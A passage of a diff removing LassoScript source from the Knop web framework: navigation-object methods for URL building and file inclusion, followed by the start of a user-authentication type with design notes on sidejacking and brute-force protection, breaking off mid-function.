-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: @#output;
-	/define_tag;
-
-	define_tag: 'getnav', -description='Return reference to the current navigation object map, or for the specified path.',
-		-optional='path', -copy;  
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); 
-		!(local_defined: 'path') ? local: 'path'=(self -> 'patharray');
-		if: #path -> type != 'array';
-			#path = string: #path;
-			#path -> (removeleading: '/') & (removetrailing: '/');
-			#path = #path -> (split: '/');
-		/if;
-		(self -> pathmap) !>> (#path -> (join: '/')) ? return: map;
-
-		local: 'nav'=@self,
-			'navmap'=map;
-		local: 'pathitem' = #path -> (get: 1);
-		if: #nav -> keymap >> #pathitem; 
-			#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': found ' + #pathitem + ' in nav');
-			#navmap = @((#nav -> 'navitems') -> (get: ((#nav -> keymap) -> (find: #pathitem))));
-			if: #navmap -> type == 'map' && !(#navmap -> (find: 'disabled')) && #navmap -> (find: 'children') -> type == 'nav' && #path -> size > 1;
-				// look into children level recursively - remove the path level we are at now
-				#path -> (remove: 1);
-				return: @(#navmap -> (find: 'children')) -> (getnav: #path); // recursion
-			else;
-				// we are at the bottom, bail out
-				self -> 'tagtime_tagname'=tag_name;
-				self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-				return: @#navmap;
-			/if;
-		/if;
-	/define_tag;
-
-
-	
-	define_tag: 'getargs', -description='Path arguments = the leftover when we found a matching path, to be used for keyvalue for example.\n\
-			Parameters:\n\
-			-index (optional integer) Specifies which leftover path item to return, defaults to all path items as a string',
-		-optional='index', -type='integer';
-		local: 'dotrace'=(self -> 'dotrace');
-		
-		local: 'args'=(self -> 'pathargs');
-		#args == '' ? return;
-		if: local_defined: 'index';
-			#args = #args -> (split: '/');
-			if: #args -> size >= #index;
-				return: #args -> (get: #index);
-			else;
-				return;
-			/if;
-		else;
-			return: #args;
-		/if;
-		
-	/define_tag;
-	
-	define_tag: 'label', -description='Returns the name of the current (or specified) nav location\n\
-			Parameters:\n\
-			-path (optional)',
-		-optional='path', -copy;
-		local: 'dotrace'=(self -> 'dotrace');
-		!(local_defined: 'path') ? local: 'path'=@(self -> 'path');
-		return: self -> (getnav: #path) -> (find: 'label');
-	/define_tag;
-
-	define_tag: 'path', -description='Returns url or key path for the current or specified location.',
-		-optional='path', -copy;	
-		local: 'dotrace'=(self -> 'dotrace');
-		!(local_defined: 'path') ? local: 'path'=@(self -> 'path');
-		if: self -> (getnav: #path) -> (find: 'url') != '';
-			local: 'url'=self -> (getnav: #path) -> (find: 'url');
-			#url -> (removeleading: '/') & (removetrailing: '/');
-			return: #url;
-		else: #path -> type == 'array';
-			return: @(#path -> (join: '/'));
-		else;
-			return: @#path;
-		/if;
-	/define_tag;
-
-	define_tag: 'patharray', -description='Returns current path as array.';
-			return: (self -> 'patharray');
-	/define_tag;
-
-	define_tag: 'actionpath', -description='Returns action path if any.';
-			return: (self -> 'actionpath');
-	/define_tag;
-
-	define_tag: 'linkparams', -description='Returns an array for all parameters that should be sent along with nav links',
-		-required='navitem', -type='map';
-		if: (#navitem -> (find: 'params')) -> type == 'array';
-			local: 'linkparams'=array,
-				'dotrace'=(self -> 'dotrace'),
-				'clientparams'=client_getparams;
-			#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': checking params ' + (#navitem -> (find: 'params')));
-			#clientparams -> (merge: client_postparams);
-			iterate: #navitem -> (find: 'params'), (local: 'param');
-					iterate(#clientparams -> find(#param), local('paraminstance'));
-					if: #paraminstance -> type == 'pair';
-						#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': got pair param');
-						#linkparams -> (insert: (#paraminstance -> name) = (#paraminstance -> value));
-					else;
-						#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': got plain param');
-						#linkparams -> (insert: #paraminstance);
-					/if;
-				/iterate;
-			/iterate;
-			return: @#linkparams;
-		/if;
-	/define_tag;
-
-	define_tag: 'data', -description='Returns data object that can be stored for the current nav location (or specified nav location).\n\
-			Parameters:\n\
-			-path (optional)\n\
-			-type (optional string) Force a certain return type. If the stored object doesn´t match the specified type, an empty instance of the type is returned. That way the data can be filtered by type without having to use conditionals to check the type before. ',
-		-optional='path', -copy,
-		-optional='type';
-		local: 'dotrace'=(self -> 'dotrace');
-		!(local_defined: 'path') ? local: 'path'=@(self -> 'path');
-		if: (local_defined: 'type');
-			if: self -> (getnav: #path) -> (find: 'data') -> type == #type;
-				return: self -> (getnav: #path) -> (find: 'data');
-			else;
-				// return empty instance of the specified type
-				return: (\#type)->astype;
-			/if;
-		else;
-			return: self -> (getnav: #path) -> (find: 'data');
-		/if;
-	/define_tag;
-
-	
-	define_tag: 'url', -description='Returns full url for current path or specified path. Path parameters can be provided and overridden by \
-			passing them to this tag. \n\
-			Parameters:\n\
-			-path (optional) \n\
-			-params (optional) Pair array to be used in url instead of plain parameters sent to this tag\n\
-			-urlargs (optional) Raw string with url parameters to append at end of url and -params\n\
-			-getargs (optional flag) Add the getargs (leftover path parts) to the url\n\
-			-except (optional) Array of parameter names to exclude (or single parameter name as string)\n\
-			-topself (optional nav) Internal, needed to call url from renderhtml when rendering sublevels\n\
-			-autoparams (optional flag) Enables the automatic passing of action_params that begin with "-"',
-		-optional='path', -copy,
-		-optional='params', -copy,
-		-optional='urlargs',
-		-optional='except', -copy,
-		-optional='topself', -type='nav',
-		-optional='autoparams';
-
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); 
-		local: 'url'=string,
-			'urlparams'=array;
-		// only getparams to not send along -action etc
-		local: 'clientparams'=client_getparams, 'param'=null;
-
-		!(local_defined: 'except') ? local: 'except'=array;
-		#except -> type != 'array' ? #except = array: #except;
-		#except -> insert('-session');
-		!(local_defined: 'topself') ? local: 'topself'=@self;
-		!(local_defined: 'params') ? local: 'params'=(params -> isa('array') ? params | array);
-		!#params -> isa('array') ? #params = array(#params); // added by Jolle 101117
-		if: local_defined: 'path';
-			if: #params >> '-path';
-				// -path was passed as explicit param
-				#params -> (removeall: '-path');
-			else: #params >> #path;
-				// -path was passed as implicit param - shows up in params as plain value (no pair) so remove the value from params
-				#params -> (removeall: #path);
-			/if;
-		else;
-			local: 'path'=(#topself -> 'path');
-		/if;
-		local: 'navitem'=#topself -> getnav: #path;
-		if: (#navitem -> (find: 'params')) -> type == 'array';
-			// add parameters defined as -param for nav item
-			#params -> (merge: (#topself -> (linkparams: -navitem=#navitem)));
-		/if;
-		if: #params -> isa('array');
-			// clean up other parameters passed to he tag
-			#params -> (removeall: '-urlargs')
-				& (removeall: '-topself')
-				& (removeall: '-params')
-				& (removeall: '-except')
-				& (removeall: '-autoparams')
-				& (removeall: '-getargs');
-		 /if;
-
-		iterate: #except, (local: 'param');
-			#params -> (removeall: #param);
-		/iterate;
-
-		#url = (#topself -> (path: #path)) + ((#topself -> (path: #path)) != '' ? '/');
-		if: (#topself -> getargs) -> size && (local_defined: 'getargs') && #getargs != false;
-			// for links to the current path, add the path args 
-			#url += (#topself -> getargs) + '/';
-		/if;
-		if: #params >> '-keyvalue';
-			#url += (#params -> (find: '-keyvalue') -> first -> value) + '/';
-			#params -> (removeall: '-keyvalue');
-		/if;
-		
-		iterate: (#params -> type == 'array' ? #params | array: #params), (local: 'param');
-			if: #param -> type == 'pair';
-				#urlparams -> (insert: (encode_stricturl: #param -> name) + '=' + (encode_stricturl: #param -> value));
-			else: #param != '';
-				#urlparams -> (insert: (encode_stricturl: #param));
-			/if;
-		/iterate;
-		if: (local_defined: 'autoparams') && #autoparams != false;
-			// add getparams that begin with -
-			iterate: #clientparams, #param;
-				if: #param -> type == 'pair';
-					if: #param -> name -> (beginswith: '-') && #except !>> #param -> name;
-						#urlparams -> (insert: (encode_stricturl: #param -> name) + '=' + (encode_stricturl: #param -> value));
-					/if;
-				else; // just a string param (no pair)
-					if: #param -> (beginswith: '-') && #except !>> #param;
-						#urlparams -> (insert: encode_stricturl: #param);
-					/if;
-				/if;
-			/iterate;
-		/if;
-		
-		if: (#topself -> 'navmethod') == 'param';
-			#url = './?' + #url + (#urlparams -> size || (local: 'urlargs') != '' ? '&amp;');
-		else;  // path
-			#url = (#topself -> 'root') + #url +  (#urlparams -> size || (local: 'urlargs') != '' ? '?');
-		/if;
-
-		#urlparams = string: (#urlparams -> (join: '&amp;'));
-		// restore / in paths for looks
-		#urlparams -> replace('%2f', '/');
-		#url += #urlparams;
-		#urlparams -> size && (local: 'urlargs') -> size ? #url += '&amp;';
-		(local: 'urlargs') -> size ? #url += #urlargs;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: @#url;
-	/define_tag;
-	
-	define_tag: 'filename', -description='Returns the full path to the specified type of precissing file for the current navigation. \n\
-			Parameters:\n\
-			-type (required) lib, act, cnt, cfg, actcfg',
-		-required='type',
-		-optional='path', -copy;
-		/*
-		
-		-filenaming can be one of prefix, suffix or extension. 
-		Prefix is "the old way". lib_customer.inc.  This is the default if -filenaming is not specified. 
-		Suffix is a hybrid, for example customer_lib.inc. 
-		Extension is for example customer.lib
-		
-		The rest is automatic. 
-		
-		
-		Possible places to look for a library file that belongs to the path "customer/edit" (in order of precedence):
-		A) -filenaming='prefix' (default)
-		1. _mod_customer/lib_customer_edit.inc 		// modular prefixed with module name
-		2. _mod_customer/lib_edit.inc				// modular
-		3. _mod_customer/_library/lib_customer_edit.inc	// modular separated, prefixed with module name
-		4. _mod_customer/_library/lib_edit.inc		// modular separated
-		5. _library/lib_customer_edit.inc			// collective ("all modules together") separated. This is the old way. 
-		
-		B) -filenaming='suffix'
-		1. _mod_customer/customer_edit_lib.inc
-		2. _mod_customer/edit_lib.inc
-		3. _mod_customer/_library/customer_edit_lib.inc
-		4. _mod_customer/_library/edit_lib.inc
-		5. _library/customer_edit_lib.inc
-		
-		C) -filenaming='extension'
-		1. _mod_customer/customer_edit.lib
-		2. _mod_customer/edit.lib
-		3. _mod_customer/_library/customer_edit.lib
-		4. _mod_customer/_library/edit.lib
-		5. _library/customer_edit.lib
-		
-		The principle is to start looking at the most specific location and then look at more and more generic locations, to be able to do the local override. 
-
-		*/
-		
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); 
-		local: 'filenamearray'=array, 
-			'filenamearray_temp'=array,
-			'filename'=string,
-			'prefix'=string,
-			'type_short'=string,
-			'suffix'=string,
-			'extension'=string,
-			'typefoldermap'=(map: 
-				'cfg'='_config/', 
-				'actcfg'='_config/', 
-				'act'='_action/',
-				'lib'='_library/',
-				'cnt'='_content/'),
-			'typefolder'=string,
-			'basefolder'=string,
-			'directorytree' = (self -> directorytree);
-		if: #type == 'act' || #type == 'actcfg';
-			local('path') -> size == 0 ? local('actionpath'=string(self -> 'actionpath')) | local('actionpath'=string(#path));
-			#actionpath -> removeleading('/') & removetrailing('/');
-			#actionpath == '' ? return;
-			#filenamearray = (self -> getnav(#actionpath) -> find('filename'));
-			if: #filenamearray  == '';
-				#filenamearray=#actionpath;
-			/if;
-			#filenamearray = #filenamearray -> split('/');
-		else;
-			local('path') -> size == 0 ? local('path'=string(self -> 'path'));
-			#path -> removeleading('/') & removetrailing('/');
-			self -> getnav(#path) -> size == 0 ? return;
-			#filenamearray=(self -> getnav(#path) -> find('filename'));
-			if: #filenamearray == '';
-				#filenamearray=#path;
-			/if;
-			#filenamearray = #filenamearray -> split('/');
-		/if;
-		#type =='actcfg' ? #prefix = 'cfg' | #prefix = #type;
-		#type_short = #prefix;
-		#typefolder=#typefoldermap -> (find: #type);
-
-		select: (self -> 'filenaming');
-		case: 'suffix';
-			#suffix='_' + #prefix;
-			#extension='.inc';
-			#prefix = '';
-		case: 'extension';
-			#extension='.' + #prefix;
-			#suffix='';
-			#prefix = '';
-		case; // prefix as default
-			#prefix += '_';
-			#extension='.inc';
-			#suffix='';
-		/select;
-
-		local: 'findtimer'=_date_msec;
-		loop: 2;
-			#basefolder=(array: '', '_knop/') -> (get: loop_count);
-			loop: 5;
-				#filename = string;
-				select: loop_count;
-				case: 1;
-					// customer/lib_customer_edit.inc
-					if: #filenamearray -> size >= 1;
-						// at least 1 level, look in module folder
-						#filenamearray_temp = #filenamearray;
-						#filename = #basefolder + '_mod_' + #filenamearray_temp -> first;
-						#filename += '/' + #prefix + (#filenamearray_temp -> (join: '_')) + #suffix + #extension;
-					/if;
-				case: 2; 
-					// customer/lib_edit.inc
-					if: #filenamearray -> size >= ((self -> 'filenaming') == 'extension' ? 2 | 1);
-						// at least 1 level (2 levels for suffix naming), look in module folder
-						#filenamearray_temp = #filenamearray;
-						#filename = #basefolder + '_mod_' + #filenamearray_temp -> first;
-						#filenamearray_temp -> removefirst;
-						#filename += '/' + #prefix + (#filenamearray_temp -> (join: '_')) + #suffix + #extension;
-						if(#filenamearray -> size == 1);
-							// clean up underscore so filename ends up as lib.inc instead of lib_.inc etc
-							#filename -> replace('/' + #type_short + '_' + #extension, '/' + #type_short + #extension);
-							#filename -> replace('/_' + #type_short + #extension, '/' + #type_short + #extension);
-						/if;
-					/if;
-				case: 3;
-					// customer/_library/lib_customer_edit.inc
-					if: #filenamearray -> size >= 2;
-						// at least 2 levels, look in module folder
-						#filenamearray_temp = #filenamearray;
-						#filename = #basefolder + '_mod_' + #filenamearray_temp -> first;
-						#filename += '/' + #typefolder + #prefix + (#filenamearray_temp -> (join: '_')) + #suffix + #extension;
-					/if;
-				case: 4;
-					// customer/_library/lib_edit.inc
-					if: #filenamearray -> size >= 2;
-						// at least 2 levels, look in module folder
-						#filenamearray_temp = #filenamearray;
-						#filename = #basefolder + '_mod_' + #filenamearray_temp -> first;
-						#filenamearray_temp -> removefirst;
-						#filename += '/' + #typefolder + #prefix + (#filenamearray_temp -> (join: '_')) + #suffix + #extension;
-					/if;
-				case;
-					// _library/lib_customer_edit.inc
-					#filename = #basefolder + #typefolder + #prefix + (#filenamearray -> (join: '_')) 
-						+ #suffix + #extension;
-				/select;
-				if: #filename != '';
-					#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': trying ' + (self -> 'fileroot') + #filename );
-					if: #directorytree >> #filename;
-						//file_exists: (self -> 'fileroot') + #filename;
-						// clean up and exit
-						#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': ** Found ' + (self -> 'fileroot') + #filename + ' in ' + (_date_msec - #findtimer) ' ms');
-						self -> 'tagtime_tagname'=tag_name;
-						self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-						return: (self -> 'fileroot') + #filename;
-					/if;
-				/if;
-			/loop;
-		/loop;
-		// clean exit if nothing was found
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return;
-
-	/define_tag;
-	
-	define_tag: 'actionconfigfile', -description='Shortcut to filename: actcfg'; return: self -> (filename: 'actcfg'); 	/define_tag;
-	define_tag: 'actionfile', -description='Shortcut to filename: act'; 		return: self -> (filename: 'act'); 		/define_tag;
-	define_tag: 'configfile', -description='Shortcut to filename: cfg'; 		return: self -> (filename: 'cfg'); 		/define_tag;
-	define_tag: 'libraryfile', -description='Shortcut to filename: lib'; 		return: self -> (filename: 'lib'); 		/define_tag;
-	define_tag: 'contentfile', -description='Shortcut to filename: cnt'; 		return: self -> (filename: 'cnt'); 		/define_tag;
-
-	define_tag: 'include', -description='Includes any of the files for the current path, fails silently if file does not exist. \n\
-			Parameters:\n\
-			-file (required) lib, act, cnt, cfg, actcfg or library, action, config, actionconfig, content, or any arbitrary filename',
-		-required='file',
-		-optional='path';
-		knop_debug(self->type + ' -> ' + tag_name + ' ' + params -> first, -type=self->type, -open);
-		handle;knop_debug('Done with ' + self->type + ' -> ' + tag_name + ' ' + params -> first, -close, -time, -witherrors);/handle;
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); 
-		// includes any of the files for the current path, fails silently if file does not exist
-		local: 'translation'=(map:
-				'actionconfig'= 'actcfg',
-				'action'= 'act',
-				'config'= 'cfg',
-				'library'= 'lib',
-				'content'= 'cnt'),
-			'types'=(map: 'actcfg', 'act', 'cfg', 'lib', 'cnt'),
-			'result'=string;
-		local: 'type'= (#translation >> #file ? #translation -> (find: #file) | #types >> #file ? #file | 'other');
-		// find out full filename
-		!local_defined('path') ? local('path'=null);
-		local: 'filename'=null;
-		if: #types >> #type;
-			// knop include
-			#filename = self -> filename(#type, -path=#path);
-		else: (self -> directorytree) >> #file;
-			// arbitrary include within the Knop folder structure
-			#filename = (self -> 'fileroot') + #file;
-		else: (self -> directorytree) >> '_knop/' + #file;
-			// arbitrary include one level down in _knop folder
-			#filename = (self -> 'fileroot') + '_knop/' + #file;
-		/if;
-		if: #type == 'cfg' && #filename -> size && (self -> 'actionconfigfile_didrun') == #filename;
-			#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': ' + #filename ' has already run as actionconfig');
-			//knop_debug(self->type + ' -> ' + tag_name + ': ' + #filename ' has already run as actionconfig');
-			return;
-		else: #type == 'actcfg';
-			// remember that we have run this config file as actionconfig so we don't run the same file again as page config
-			(self -> 'actionconfigfile_didrun') = #filename;
-		/if;
-		if: #filename != '';
-			local: 't'=_date_msec;
-			#result=@(include: #filename);
-			(self -> 'debug_trace') -> (insert: 'Include ' + #file + ': ' + #filename + ' processed in ' + (_date_msec - #t) ' ms');
-			//knop_debug(self->type + ' -> ' + tag_name + ' ' + #file + ': ' + #filename + ' processed in ' + (_date_msec - #t) ' ms', -type=self->type);
-			self -> 'tagtime_tagname'=tag_name;
-			self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-			return: @#result;
-		else;
-			#dotrace ? (self -> 'debug_trace') -> (insert: 'Include ' + #file + ': no matching filename found');
-			knop_debug(self->type + ' -> ' + tag_name + ' ' + #file + ': no matching filename found');
-		/if;
-	/define_tag;
-	
-	define_tag: 'library', -description='includes file just as ->include, but returns no output', 
-		-required='file',
-		-optional='path';
-		// includes file just as ->include, but returns no output
-		!local_defined('path') ? local('path'=null);
-		self -> include(#file, -path=#path);
-		// returns nothing
-	/define_tag;
-
-	define_tag: 'directorytree', -description='Returns a map of all existing knop file paths', 
-		-optional='basepath'; // only used for recursive calls
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace'); 
-		local: 'dirlist'=map;
-		if: (self -> 'directorytreemap') -> size;
-			// use the stored directory tree that has already been created
-			#dirlist = (self -> 'directorytreemap');
-			#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': Returning stored directorytree');
-
-		else;
-			// first time calling this tag - create the directory tree
-			if: (local_defined: 'basepath');
-				local: 'path' = #basepath;
-			else;
-				local: 'path'=(self -> 'fileroot');
-			/if;
-			!(#path -> (endswith: '/')) ? #path += '/';
-			local: 'diritem'=string,
-				'dirlist_sub'=map,
-				'diritem_sub'=pair;
-			iterate: file_listdirectory: #path, #diritem;
-				if: !(#diritem -> (beginswith: '.'));
-					#dirlist_sub = map;
-					#diritem -> (removetrailing: '/');
-					if: //#diritem -> (endswith: '/') && 
-						((map: '_knop', '_include', '_config', '_action', '_library', '_content') >> #diritem
-							|| #diritem -> (beginswith: '_mod_'));
-						// recursive call for sub folder within the Knop directory structure
-						#dirlist_sub = self -> (directorytree: #path + #diritem);
-						iterate: #dirlist_sub, #diritem_sub;
-							#dirlist -> (insert: #diritem + '/' +  #diritem_sub -> name);
-						/iterate;
-					/if;
-					// Add item to map, with trailing / if item has sub items (folder contents)
-					#dirlist -> (insert: #diritem + (#dirlist_sub -> size ? '/'));
-				/if;
-			/iterate;
-			if: !(local_defined: 'basepath');
-				// this was the topmost call in the recursive chain, so store the result
-				(self -> 'directorytreemap') = #dirlist;
-				#dotrace ? (self -> 'debug_trace') -> (insert: tag_name + ': Creating directorytree');
-			/if;
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: #dirlist;
-	/define_tag;
-
-
-	define_tag: 'trace', 
-		-optional='html',
-		-optional='xhtml';
-		local: 'dotrace'=(self -> 'dotrace');
-
-		local: 'endslash' = ((self -> (xhtml: params)) ? ' /' | '');
-
-		local: 'eol'=(local_defined: 'html') || #endslash -> size ? '<br' + #endslash + '>\n' | '\n';
-
-		return: #eol + 'Debug trace for nav $' + (self -> varname)
-			+ (!#dotrace ? ' (detailed trace not enabled)' )
-			+ #eol + (self -> 'debug_trace') -> (join: #eol) 
-			+ #eol;
-
-	/define_tag;
-
-/define_type;
-
-
-?>
-[
-//------------------------------------------------------------------
-//    End knop_nav
-//------------------------------------------------------------------
-
-//##################################################################
-
-][
-//------------------------------------------------------------------
-//    Begin knop_user
-//------------------------------------------------------------------
-
-]<?LassoScript
-
-define_type: 'user',
-	'knop_base',
-	-namespace='knop_';
-//	-prototype;
-
-	local: 'version'='2009-09-18',
-		'descripion'='Custom type to handle user identification and authentication';
-
-/*
-
-CHANGE NOTES
-2012-01-16	SP	Added ->removedata to remove field from the data map.  Thanks to Ric Lewis.
-2009-09-18	JS	Syntax adjustments for Lasso 9
-2009-06-23	JS	->encrypt now uses default encrypt_cipher from the custom type instead of a hard coded default
-2009-02-26	JS	->login: further correction on the search for login with FileMaker, to reduce the risk for false duplicates
-2009-02-26	JS	->login: Added optional -searchparams to be able to add more conditions to the login search, for example to exclude users that are not enabled. 
-2008-12-02	JS	->encrypt: Changed to -hex cipher instead of encode_base64
-2008-11-05	JS	->getdata: corrected a check that prevented the tag from returning anything
-2008-11-05	JC	->login: A failed login attempt now results in a logout instead of keeping any old authentication
-2008-11-05	JC	->getpermission will always return falseif a user is not logged in
-2008-11-05	JC	->logout: The permissions map is now cleared when logging out
-2008-11-04	JC	->encrypt: changed incorrect encrypt_cipher to encrypt_digest
-2008-09-10	JS	Added ondeserialize to make client_fingerprint_expression survive session
-2008-07-17	JS	Implemented ->setpermission and ->getpermission
-2008-07-17	JS	Added client_fingerprint_expression as compound expression so it can be configurable by changing the instant variable
-2008-05-20	JS	->login: Added delay between more than 5 failed login attempts 
-2008-05-08	JS	->login: improved the search for FileMaker datasources to make it work for email address as username
-2008-02-08	JS	Added ->keys
-2008-02-03	JS	-> login: Corrected storage of id_user
-2007-11-27	JS	Coded an incomplete version
-2007-06-13	JS	Created the data type
-
-// TODO: 
-Make it possible for knop_user to work independently of a knop_database object by creating a custom user lookup - see http://listsearch.com/Lasso/Thread/index.lasso?20528
-userdb reference is brooken, probably when stored in session. Can this be fixed?
-Make client_fingerprint configurable by specifying a compound expression at oncreate
-Add support for role based permisions
-
-*/
-
-
-/*
-Purpose:
-- Maintain user identity and authentication
-- Handle database record locking more intelligently, also to be able to release all unused locks for a user
-- Authenticating user login
-- Restricting access to data
-- displaying specific navigation options depending on type of user
-
-lets add some date handling in there too like time of last login
-and probably the IP that the user logged in from.
-
-
-Some options to handle what happens when a user logs in again whilst already logged in.
-ie one could:
-disallow second login (with a message explaining why)
-automatically log the first session out (with a message indicating what happened)
-send a message to first session: "Your username is attempting to log in again, do you wish to close this session, or deny the second login attempt?"
-allow multiple logins (from the same IP address)
-allow multiple logins from any IP address
-
-All of these could be useful options, depending of the type of app.
-
-And different types of user (ie normal, admin) could have different types of treatment.
-
-Handling for failed login attempts:
-Option to set how many tries can be attempted; 
-Option to lock users out permanently after x failed attempts? 
-Logging (to database) of failed logins / successful logins
-
-Password recovery system (ie emailing a time sensitive link to re-set password)
-By "password recovery" I'm not thinking "email my password" (hashed passwords can't be emailed...) but rather to email a short lived link that gives the user an opportunity to change his password. How is this different from "password reset"?
-Yes, that is an accurate description of what I had in mind, except for the bit about emailing a short-lived link.  Instead I imagined having the user reset their password 100% on the web site through the use of "Security Questions", much like banks employ.
-
-I like the idea of more info attached to the user. Like login attempts, locking a user temporarily after too many failed attempts etc.
-
-
-The setup is more or less that I have users and groups.
-
-I'm thinking that Knop shouldn't do any session handling by itself, but the knop_user variable would be stored in the app's session as any other variable. Knop should stay as lean as possible...
-
-Other things to handle:
-Prevent session sidejacking by storing and comparing the user's ip and other identifying properties.
-Provide safe password handling with strong one-way salted encryption.
-
-consider having a separate table for auditing all user actions, including logging in, logging out, the basic CRUD actions, searches
-
-The object have to handle situations where no user is logged in. A guest can still have rights to some actions. Modules that can be viewed. Forms that could be sent in etc.
-That the added functions don't slow down the processing. We already have a lot of time consuming overhead in Knop.
-
-
-
-Features:
-1. Authentication and credentials
-- Handle the authentication process
-- Keep track of if a user is properly logged in
-- Optionally keep track of multiple logins to same account
-- Prevent sidejacking
-- Optionally handle encrypted/hashed passwords (with salt)
-- Prevent brute force attacks (delay between attempts etc)
-- Handle general information about the user
-- Provide accessors for user data
-
-2. Permissions and access control
-- Keep track of what actions a user is allowed to perform (the "verbs")
-- Tie into knop_nav to be able to filter out locations based on permissions
-
-3. Record locks
-- Handle clearing of record locks from knop_database
-
-4. Audit trail/logging
-- Optionally log login/logout actions
-- Provide hooks to be able to log other user actions
-
-Future additions:
-- Keep track of what objects and resources a user is allowed to act on (the "nouns")
-- Provide filtering to use in database queries
-- What groups a user belongs to
-- Mechanism to update user information, password etc
-- Handle password recovery
-
-
-Permissions can be read, create, update, delete, or application specific (for example publish)
-
-*/
-
-	local: 'id_user'=null,
-		'validlogin'=false,
-		'groups'=array,
-		'data'=map,						// map with arbitrary user information (name, address etc)
-		'permissions'=map,
-		'loginattempt_date'=(date: 0),	// to keep track of delays multiple login attempts
-		'loginattempt_count'=integer,	// number of failed login attempts
-
-		'userdb'=null,					// database object for user authentication
-		'useridfield'='id',	
-		'userfield'='username',	
-		'passwordfield'='password',
-		'saltfield'=null,
-		'encrypt'=false,
-		'encrypt_cipher'='RIPEMD160',	// digest encryption method
-
-		'logdb'=null,					// database object for logging
-		'logeventfield'='event',		// the event to be logged
-		'loguserfield'='id_user',		// the user who is performing the logged action
-		'logobjectfield'='id_object',	// what object is affected by the logged action
-		'logdatafield'='data',			// details about the logged action
-
-		'singleuser'=false,
-		'uniqueid'=null,				// To track multiple logins on the same account (this is to be stored and compared server side)
-		'client_fingerprint'=null,		// combination of ip, useragent etc to be able to track sidejacking
-		'client_fingerprint_expression'={return(encrypt_md5(string(client_ip) + client_type))},
-		'dblocks'=array,				// a list of all database objects that have been locked by this user 
-		'error_lang'=(knop_lang: -default='en', -fallback),
-		;
-
-	define_tag: 'oncreate', -description='Parameters:\n\
-			-encrypt (optional flag or string) Use encrypted passwords. If a value is specified then that cipher will be used instead of the default RIPEMD160. If -saltfield is specified then the value of that field will be used as salt.\n\
-			-singleuser (optional flag) Multiple logins to the same account are prevented (not implemented)',
-		-required='userdb', -type='database',
-		-optional='encrypt',
-		-optional='useridfield', -type='string',
-		-optional='userfield', -type='string',
-		-optional='passwordfield', -type='string',
-		-optional='saltfield', -type='string',
-		-optional='logdb', -type='database',
-		-optional='loguserfield', -type='string',
-		-optional='logeventfield', -type='string',
-		-optional='logdatafield', -type='string',
-		-optional='singleuser';
-		
-		local: 'timer'=knop_timer; 
-
-		local_defined('userfield') ? (self -> 'userfield') = #userfield;
-		local_defined('useridfield') ? (self -> 'useridfield') = #useridfield;
-		local_defined('passwordfield') ? (self -> 'passwordfield') = #passwordfield;
-		local_defined('saltfield') ? (self -> 'saltfield') = #saltfield;
-		local_defined('loguserfield') ? (self -> 'loguserfield') = #loguserfield;
-		local_defined('logeventfield') ? (self -> 'logeventfield') = #logeventfield;
-		local_defined('logdatafield') ? (self -> 'logdatafield') = #logdatafield;
-
-		// the following params are stored as reference, so the values of the params can be altered after adding a field simply by changing the referenced variable. 
-		local_defined('userdb') ? (self -> 'userdb') = @#userdb;
-		local_defined('logdb') ? (self -> 'logdb') = @#logdb;
-
-		if: (local_defined: 'encrypt') && #encrypt != false;
-			(self -> 'encrypt') = true;
-			if: #encrypt -> size && (Cipher_List: -digest) >> #encrypt; // a valid digest cipher was specified
-				(self -> 'encrypt_cipher') = #encrypt;
-			/if;
-		else;
-			(self -> 'encrypt') = false;
-		/if;
-		(self -> 'singleuser') = (local_defined: 'singleuser') && #singleuser != false;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-
-	define_tag: 'ondeserialize', -description='Recreates transient variables after coming back from a session';
-		// MARK: Why is client_fingerprint_expression considered a transient variable?
-		self -> properties -> first -> insert('client_fingerprint_expression'={return(encrypt_md5(string(client_ip) + client_type))});
-	/define_tag;
-
-/*
-	define_tag: 'onassign', -description='Internal, needed to restore references when ctype is defined as prototype',
-		-required='value';
-		// recreate references here
-		iterate: (array: 
-			'userdb',
-			'logdb'), (local: 'param');
-			(self -> #param) = @(#value -> #param);
-		/iterate;
-	/define_tag;
-// */	
-	
-	define_tag: '_unknowntag', -description='Shortcut to getdata';
-		if: (self -> 'data') >> tag_name;
-			return: (self -> 'data') -> (find: tag_name);
-		else;
-			//fail: -9948, self -> type + '->' + tag_name + ' not known.';
-			(self -> '_debug_trace') -> insert(self -> type + '->' + tag_name + ' not known.');
-		/if;
-	/define_tag;
-
-	define_tag: 'auth', -description='Checks if user is authenticated, returns true/false';
-		local: 'timer'=knop_timer; 
-
-		local: 'validlogin'=false, 'client_fingerprint_now'=string;
-		// check validlogin
-		#validlogin = (self -> 'validlogin');
-		if: #validlogin;
-			// check client_fingerprint to prevent sidejacking
-			#client_fingerprint_now = (self -> 'client_fingerprint_expression') -> invoke;
-			if: #client_fingerprint_now != (self -> 'client_fingerprint');
-				#validlogin = false;
-				(self -> '_debug_trace') -> insert(tag_name + ': Client fingerprint has changed - this looks like session sidejacking. Logging out.');
